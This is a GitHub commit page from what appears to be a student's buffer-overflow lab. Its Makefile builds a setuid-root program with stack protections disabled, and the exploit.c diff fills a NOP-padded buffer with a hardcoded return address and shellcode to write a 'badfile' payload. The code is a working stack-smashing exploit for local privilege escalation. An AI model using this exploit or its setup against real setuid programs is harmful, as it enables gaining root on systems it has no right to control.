Skip to content
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Commit a914748

Browse files
committedDec 5, 2013
Finished
1 parent 753c633 commit a914748

File tree

2 files changed

+11
-2
lines changed

2 files changed

+11
-2
lines changed
 

‎Makefile

+1-1
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,4 @@ stack:
22
sudo gcc -z execstack -g -fno-stack-protector -o stack stack.c
33
sudo chmod 4775 stack
44
exploit:
5-
gcc -z execstack -g -fno-stack-protector -o exploit exploit.c
5+
gcc -o exploit exploit.c

‎exploit.c

+10-1
Original file line numberDiff line numberDiff line change
@@ -21,12 +21,21 @@ char shellcode[]=
2121
void main(int argc, char **argv)
2222
{
2323
char buffer[517];
24+
long addr, *ptr;
25+
int i;
2426
FILE *badfile;
2527

2628
/* Initialize buffer with 0x90 (NOP instruction) */
2729
memset(&buffer, 0x90, 517);
2830

29-
/* You need to fill the buffer with appropriate contents here */
31+
/* You need to fill the buffer with appropriate contents here */
32+
//Found this using gdb on stack.c
33+
addr = 0xbffff57c;
34+
ptr = (long *) (buffer);
35+
//The return address is 24 bytes from the beginning of buffer
36+
*(ptr+6) = addr;
37+
//Put content of shellcode into the end of buffer
38+
strcpy(buffer + 517 - strlen(shellcode), shellcode);
3039

3140
/* Save the contents to the file "badfile" */
3241
badfile = fopen("./badfile", "w");

0 commit comments

Comments
 (0)
Please sign in to comment.